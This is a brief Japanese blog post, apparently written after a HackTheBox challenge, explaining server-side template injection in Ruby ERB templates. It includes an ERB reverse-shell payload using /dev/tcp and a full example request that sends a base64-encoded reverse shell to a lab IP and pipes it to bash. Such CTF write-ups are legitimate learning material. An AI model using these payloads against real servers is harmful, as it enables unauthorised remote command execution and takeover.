kのサイバーシティ

サイバー空間を自由気ままに解説するブログ

SSTI(サーバーサイド・テンプレートインジェクション)に遭遇した時のメモ

HackTheBoxでSSTI脆弱性をつく問題があったので、勉強がてら記事にしました。

SSTIとは

サーバーサイド・テンプレートインジェクション(Server-Side Template Injection)の略です。

テンプレートエンジンを使ったサイトで不正な入力情報を入れることで、サーバでコマンドを実行させることができます。有名どころだとJinjaとかのことです(あまり知らないけど、、、)

laravel使ったことのある人だとindex.blead.phpで処理かけるやつを想像していただければと思います。

 

今回私はERB(Ruby)の脆弱性をつく問題だったので、ERBの場合の例を記載しておきます。

まず前提としてERBファイルではhtmlの中に「<%=【実行したいrubyの処理】 %>」で

rudyのコードを書き込めます。

つまり、rubyのsystem()を中に記述することで、サーバをいじることができるのです!

例えば、、、

<%= system(ls) %>

とかしちゃうと、ファイルが見れるわけです。

 

では実際リバースシェルを得る例を書いていきます(悪用禁止)

<%= system(sh -i >& /dev/tcp/<ip>/<port> 0>&1) %>

ですが、URLで使えない文字が含まれているため、base64エンコードしてコマンドを送ってあげて、サーバ側でデコードしてあげて実行してあげましょう!!

以下実際に送ったリクエストの例です

 

http://〇×.com/?parameters=aaa%0A<%25%3d+system("echo+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTMwLzc3NzcgMD4mMQ==|base64+-d|bash")+%25>

 

あとがBurpsuiteなり使ってサーバに送り付けちゃいましょう!!

 

以上ガバガバ解説でした。

 

以下参考資料です。

book.hacktricks.xyz